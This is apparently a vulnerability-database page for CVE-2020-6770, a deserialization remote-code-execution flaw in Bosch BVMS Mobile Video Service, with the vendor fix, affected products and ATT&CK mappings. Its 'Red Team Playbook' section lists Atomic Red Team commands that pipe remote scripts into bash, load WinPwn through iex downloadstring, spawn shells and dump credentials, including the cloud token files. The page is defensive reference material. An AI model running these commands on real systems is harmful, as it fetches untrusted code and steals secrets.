CVE-2020-6770
Overview
This vulnerability is a deserialization of untrusted data flaw occurring within the Bosch Video Management System Mobile Video Service (BVMS MVS). The root cause lies in improper validation and handling of serialized input data, which is deserialized without sufficient integrity checks. The affected component is the BVMS MVS service running on Bosch DIVAR IP 3000 and DIVAR IP 7000 devices when vulnerable BVMS versions are installed.
Vulnerability Description
Deserialization of Untrusted Data in the BVMS Mobile Video Service (BVMS MVS) allows an unauthenticated remote attacker to execute arbitrary code on the system. This affects Bosch BVMS versions 10.0 <= 10.0.0.1225, 9.0 <= 9.0.0.827, 8.0 <= 8.0.0.329 and 7.5 and older. This affects Bosch DIVAR IP 3000 and DIVAR IP 7000 if a vulnerable BVMS version is installed.
Impact
An unauthenticated attacker can remotely execute arbitrary code on affected Bosch DIVAR IP 3000 or 7000 systems by exploiting the insecure deserialization flaw in BVMS MVS. This enables full compromise of the device, including potential data manipulation, service disruption, or lateral movement within the network. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward from a remote network location. The vulnerability impacts confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Bosch has released security updates addressing this vulnerability in BVMS versions above 10.0.0.1225, 9.0.0.827, and 8.0.0.329, as documented in their PSIRT advisory BOSCH-SA-885551-BT (https://psirt.bosch.com/security-advisories/BOSCH-SA-885551-BT.html). Users should upgrade Bosch BVMS Mobile Video Service to the fixed versions indicated in the advisory. Applying these vendor-provided patches to affected Bosch DIVAR IP 3000 and 7000 devices is the recommended remediation step to eliminate this deserialization vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Bosch Video Management System Mobile Video Service (BVMS MVS) stems from improper handling of deserialization processes, allowing untrusted data to be processed without adequate validation. This flaw enables an unauthenticated remote attacker to inject malicious payloads that can be executed on the system, potentially leading to arbitrary code execution. The affected versions of BVMS, including those from versions 10.0 down to 7.5, as well as specific firmware for the DIVAR IP 3000 and DIVAR IP 7000, are particularly susceptible due to their reliance on deserialization mechanisms that do not sufficiently verify the integrity and authenticity of incoming data.
Attack vectors exploiting this vulnerability are varied, but primarily involve sending crafted requests to the BVMS MVS. An attacker can leverage this flaw by sending specially formatted data that the system will deserialize, resulting in the execution of arbitrary commands or code within the context of the application. This could be achieved through various means, such as exploiting web interfaces or APIs that interact with the video management system. Given the nature of the vulnerability, the attacker does not require authentication, significantly lowering the barrier to entry for exploitation. This could lead to unauthorized access to sensitive video feeds, manipulation of surveillance data, or even complete system takeover.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Bosch's video management solutions for security and surveillance. Successful exploitation could compromise the confidentiality, integrity, and availability of critical security infrastructure. For businesses, this translates to potential financial losses, reputational damage, and legal liabilities, especially if sensitive data is exposed or manipulated. The implications extend beyond immediate operational disruptions, as the breach of security systems can erode customer trust and lead to regulatory scrutiny, particularly in sectors that are heavily regulated regarding data protection and privacy.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the BVMS software to the latest versions is crucial, as vendors typically release patches that address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior indicative of exploitation attempts. Network segmentation is another effective strategy, isolating critical systems from less secure environments to minimize the attack surface. Furthermore, organizations should conduct regular security audits and penetration testing to identify potential weaknesses in their configurations and practices.
In conclusion, the deserialization vulnerability in the BVMS MVS poses a significant threat to organizations utilizing Bosch's video management solutions. The ease of exploitation combined with the severe potential consequences underscores the importance of proactive security measures. By prioritizing timely updates, employing robust detection mechanisms, and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with this and similar vulnerabilities.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Bosch | Bosch Video Management System Mobile Video Service | All |
cpe:2.3:a:bosch:bosch_video_management_system_mobile_video_service:*:*:*:*:*:*:*:*
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Bosch | Bosch Video Management System Mobile Video Service | All |
cpe:2.3:a:bosch:bosch_video_management_system_mobile_video_service:*:*:*:*:*:*:*:*
|
|
|
Bosch | Bosch Video Management System Mobile Video Service | All |
cpe:2.3:a:bosch:bosch_video_management_system_mobile_video_service:*:*:*:*:*:*:*:*
|
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Bosch | Bosch Video Management System Mobile Video Service | All |
cpe:2.3:a:bosch:bosch_video_management_system_mobile_video_service:*:*:*:*:*:*:*:*
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Bosch | Divar Ip 3000 Firmware | N/A |
cpe:2.3:o:bosch:divar_ip_3000_firmware:-:*:*:*:*:*:*:*
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|
|
Bosch | Divar Ip 7000 Firmware | N/A |
cpe:2.3:o:bosch:divar_ip_7000_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-6770 |
| psirt.bosch.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.bosch.com/security-advisories/BOSCH-SA-885551-BT.html |